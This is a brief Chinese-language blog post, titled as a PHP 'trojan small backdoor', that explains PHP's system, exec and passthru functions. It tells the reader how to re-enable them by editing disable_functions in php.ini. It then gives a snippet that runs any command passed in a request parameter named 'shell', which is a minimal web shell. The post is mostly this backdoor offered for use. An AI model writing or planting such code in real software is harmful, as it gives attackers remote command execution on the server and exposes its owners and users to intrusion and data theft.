php执行cmd/shell命令 木马小后门

php执行shell命令，可以使用下面几个函数： 

string system ( string $command [, int &$return_var ] )

string exec ( string $command [, array &$output [, int &$return_var ]] )

void passthru ( string $command [, int &$return_var ] )

　注意：

这三个函数在默认的情况下，都是被禁止了的

如果要使用这几个函数，

就要先修改php的配置文件php.ini

查找关键字disable_functions，将这一项中的这几个函数名删除掉

然后注意重启apache。

 

　　首先看一下system()和passthru()两个功能类似，可以互换：

<?php
    #获取网页传递参数
    $shell = $_REQUEST['shell'];
    echo "<pre>";
    system($shell, $status);
    echo "</pre>";